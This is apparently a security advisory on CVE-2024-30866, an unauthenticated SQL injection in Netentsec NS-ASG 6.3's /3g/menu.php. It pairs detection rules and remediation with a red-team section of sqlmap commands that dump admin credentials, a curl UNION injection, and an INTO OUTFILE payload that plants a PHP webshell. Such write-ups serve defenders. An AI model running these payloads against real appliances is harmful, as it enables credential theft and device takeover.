CVE-2024-30866

Executive Summary

CVE-2024-30866 is a critical SQL Injection vulnerability discovered in the Netentsec NS-ASG version 6.3 web application firewall / security gateway appliance. The flaw resides in the /3g/menu.php endpoint, allowing an unauthenticated remote attacker to inject arbitrary SQL commands. Successful exploitation can lead to complete compromise of the underlying database, including extraction of sensitive configuration data, user credentials, and potential lateral movement within the network. No official patch has been released by the vendor, and the vulnerability is publicly documented with proof-of-concept code available. The EPSS score is currently 0.0%, indicating low exploitation activity in the wild, but the risk remains high due to the ease of exploitation and lack of vendor remediation.

Supply Chain & Package Security

This vulnerability is not related to any open-source package manager (NPM, PyPI, Go, Ruby). It affects a proprietary appliance (Netentsec NS-ASG) and is not part of a software supply chain ecosystem.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: Critical. The vulnerability requires no authentication, no user interaction, and can be exploited remotely over the network. The impact is total compromise of the database, potentially leading to full device takeover.

Deep Dive & Mechanics

The vulnerability exists in the /3g/menu.php script of the Netentsec NS-ASG version 6.3. The application fails to properly sanitize user-supplied input passed via HTTP GET or POST parameters before constructing SQL queries. An attacker can inject SQL commands by manipulating parameters such as id, type, or other query string variables.

Root Cause: The application directly concatenates user input into SQL statements without using parameterized queries or prepared statements. This allows an attacker to break out of the intended SQL syntax and execute arbitrary commands.

Attack Vector: HTTP GET/POST request to /3g/menu.php with a malicious SQL payload in a parameter.

Example Payload:

' OR '1'='1' -- -

Impact:

• Data Exfiltration: Dump the entire database, including admin credentials, firewall rules, VPN configurations, and logs.
• Authentication Bypass: Log in as any user without a valid password.
• Remote Code Execution (RCE): In some configurations, SQL injection can be chained with xp_cmdshell (if MSSQL) or INTO OUTFILE (if MySQL) to write a webshell and execute system commands.
• Lateral Movement: Use extracted credentials to pivot to other internal systems.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

<?php
$id = $_GET['id'];
$query = "SELECT * FROM menu WHERE id = '$id'";
$result = mysqli_query($conn, $query);
?>

Patched Code (Conceptual):

<?php
$id = intval($_GET['id']); // Cast to integer
$query = "SELECT * FROM menu WHERE id = ?";
$stmt = mysqli_prepare($conn, $query);
mysqli_stmt_bind_param($stmt, "i", $id);
mysqli_stmt_execute($stmt);
$result = mysqli_stmt_get_result($stmt);
?>

Note: No official patch has been released. The above patched code is a recommended fix.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• Target: Netentsec NS-ASG 6.3 with /3g/menu.php exposed.
• Tool: sqlmap or manual exploitation.

Step 1: Identify the vulnerable parameter

sqlmap -u "http://target.com/3g/menu.php?id=1" --batch --dbs

Step 2: Enumerate tables

sqlmap -u "http://target.com/3g/menu.php?id=1" --batch -D nsasg --tables

Step 3: Dump admin credentials

sqlmap -u "http://target.com/3g/menu.php?id=1" --batch -D nsasg -T admin --dump

Manual Exploit (using curl):

curl "http://target.com/3g/menu.php?id=1' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -"

Advanced: Attempting RCE via INTO OUTFILE (MySQL):

1' UNION SELECT 1,'<?php system($_GET["cmd"]); ?>',3,4,5,6,7,8,9,10 INTO OUTFILE '/var/www/html/shell.php'-- -

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /3g/menu.php for unusual parameters containing SQL keywords (UNION, SELECT, OR, --, #).
• Deploy a Web Application Firewall (WAF) with rules to block SQL injection patterns.
• Enable database query logging and alert on anomalous queries.

Honeypot:

• Create a decoy /3g/menu.php endpoint that logs all requests and alerts on SQL-like patterns.

Lab Setup:

• Use a virtualized instance of NS-ASG 6.3 (if available) or simulate the vulnerable PHP script in a controlled environment.
• Deploy sqlmap and Burp Suite for testing.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /3g/menu.php with parameters containing SQL keywords.
• Outbound database connections from the NS-ASG appliance to unknown IPs.
• Unusual database error messages in HTTP responses (e.g., "You have an error in your SQL syntax").

File IOCs:

• Unexpected files in the web root (e.g., shell.php, cmd.php).
• Modified .htaccess or configuration files.

Log IOCs:

• Database logs showing UNION, SELECT, INTO OUTFILE statements.
• Web server logs with 400 or 500 errors from /3g/menu.php.

Sample Suricata Rule (see Detection Engineering):

alert http any any -> any any (msg:"CVE-2024-30866 SQL Injection Attempt"; flow:to_server,established; content:"/3g/menu.php"; http_uri; pcre:"/(\%27|')(\%4F|O)(\%52|R)(\%20| )/i"; sid:1000001; rev:1;)

Detection Engineering

YARA Rule

rule CVE_2024_30866_SQLi_NSASG {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2024-30866 in Netentsec NS-ASG"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2024-30866"
    strings:
        $sqli1 = /(\%27|')(\%4F|O)(\%52|R)(\%20| )/i
        $sqli2 = /(\%55|U)(\%4E|N)(\%49|I)(\%4F|O)(\%4E|N)(\%20| )/i
        $sqli3 = /(\%2D|-){2,}/i
        $uri = "/3g/menu.php"
    condition:
        $uri and any of ($sqli*)
}

Sigma Rule

title: CVE-2024-30866 SQL Injection Attempt on NS-ASG
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against /3g/menu.php on Netentsec NS-ASG
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-uri-query|contains: '/3g/menu.php'
        cs-uri-query|re: '(\%27|')(\%4F|O)(\%52|R)(\%20| )'
    condition: selection
falsepositives:
    - Legitimate use of single quotes in parameters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-30866 SQL Injection Attempt - NS-ASG"; flow:to_server,established; content:"/3g/menu.php"; http_uri; pcre:"/(\%27|')(\%4F|O)(\%52|R)(\%20| )/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the appliance: If possible, disconnect the NS-ASG from the internet or restrict access to trusted IPs only.
2. Apply virtual patching: Use a WAF (e.g., ModSecurity) to block SQL injection patterns on /3g/menu.php.
3. Disable the vulnerable endpoint: If /3g/menu.php is not essential, remove or rename it.

Long-term Fix:

• Vendor patch: Contact Netentsec for an official patch. If unavailable, consider migrating to a different security gateway.
• Code fix: If source code is accessible, implement parameterized queries (prepared statements) for all database interactions.
• Upgrade: Upgrade to a newer, patched version of NS-ASG if available.

Compensating Controls:

• Enable detailed logging and monitoring for all web requests.
• Implement network segmentation to limit the blast radius.
• Use database activity monitoring (DAM) to detect anomalous queries.

Valters IT